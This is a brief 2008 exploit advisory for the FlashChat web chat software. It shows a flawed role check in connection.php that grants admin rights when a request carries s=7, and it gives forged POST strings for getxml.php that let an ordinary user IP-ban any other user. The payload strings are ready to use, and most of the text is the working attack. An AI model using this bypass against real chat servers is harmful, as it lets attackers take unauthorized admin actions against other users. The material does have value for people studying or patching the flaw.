flashchat severe bug
File: connection.php
if(
ChatServer::userInRole($this->userid,
ROLE_ADMIN) ||
ChatServer::userInRole($this->userid,
ROLE_MODERATOR) ||
($req['s'] == 7) <-- *bypass line*
)
This piece of code allows a normal user to bypass role filtering and to be
granted admin role as a normal user. To exploit the vulnerability simply send
to getxml.php, while into the chat, this post data string (for example
intercepting and modifying a legal message packet sent to the server with
tamper data plugin of firefox):
for example to ban a user simply add the bypass to the normal ban string
request:
replace:
//normal message sent to server thas has being intercepted
sendAndLoad=%5Btype%20Function%5D&t=hi everybody&r=0&id=
with:
//normal ban packet used by admins or mods
sendAndLoad=%5Btype%20Function%5D&t=&r=0&u=5581&b=3&c=banu&cid=1&id=
//forged packet send by attacker
sendAndLoad=%5Btype%20Function%5D&s=7&t=&r=0&u=5581&b=3&c=banu&cid=1&id=
*note the s=7 added
this will ip-ban user with id 5581 from chat.
eLiSiA - 17-10-2008